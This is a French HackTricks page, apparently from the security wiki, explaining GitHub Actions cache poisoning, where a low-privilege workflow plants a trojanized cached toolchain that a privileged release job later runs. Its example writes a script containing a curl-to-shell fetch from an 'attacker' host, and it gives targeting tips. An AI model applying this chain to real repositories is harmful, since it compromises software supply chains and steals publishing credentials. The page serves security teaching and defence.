GH Actions - Cache Poisoning

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Aperçu

Le GitHub Actions cache est global Ă  un dĂ©pĂŽt. N’importe quel workflow qui connaĂźt une key de cache (ou des restore-keys) peut peupler cette entrĂ©e, mĂȘme si le job n’a que permissions: contents: read. GitHub ne sĂ©pare pas les caches par workflow, type d’évĂ©nement, ou niveau de confiance, donc un attacker qui compromet un job Ă  faible privilĂšge peut empoisonner un cache qu’un privileged release job restaurera ensuite. C’est ainsi que la compromission d’Ultralytics a pivotĂ© d’un workflow pull_request_target vers le pipeline de publication PyPI.

Primitives d’attaque

  • actions/cache expose Ă  la fois les opĂ©rations de restore et de save (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). L’appel save est autorisĂ© pour n’importe quel job sauf les pull_request workflows vĂ©ritablement non fiables dĂ©clenchĂ©s depuis des forks.
  • Les entrĂ©es de cache sont identifiĂ©es uniquement par la key. Des restore-keys larges facilitent l’injection de payloads car l’attacker n’a besoin que de provoquer une collision sur un prĂ©fixe.
  • Le filesystem mis en cache est restaurĂ© Ă  l’identique. Si le cache contient des scripts ou des binaries qui sont exĂ©cutĂ©s plus tard, l’attacker contrĂŽle ce chemin d’exĂ©cution.

Exemple de chaüne d’exploitation

Author workflow (pull_request_target) a empoisonné le cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Le workflow privilégié a restauré et exécuté le cache empoisonné :

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Le deuxiÚme job exécute maintenant du code contrÎlé par un attaquant tout en disposant des identifiants de publication (PyPI tokens, PATs, cloud deploy keys, etc.).

Practical exploitation tips

  • Ciblez les workflows dĂ©clenchĂ©s par pull_request_target, issue_comment, ou des commandes de bot qui sauvegardent encore des caches ; GitHub leur permet d’écraser des clĂ©s applicables Ă  tout le dĂ©pĂŽt mĂȘme lorsque le runner n’a qu’un accĂšs en lecture au repo.
  • Recherchez des clĂ©s de cache dĂ©terministes rĂ©utilisĂ©es Ă  travers des frontiĂšres de confiance (par exemple, pip-${{ hashFiles('poetry.lock') }}) ou des restore-keys permissifs, puis sauvegardez votre tarball malveillant avant que le workflow privilĂ©giĂ© ne s’exĂ©cute.
  • Surveillez les logs pour des entrĂ©es Cache saved ou ajoutez votre propre Ă©tape de sauvegarde de cache afin que le prochain job de release restaure le payload et exĂ©cute les scripts ou binaires trojanized.

References

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks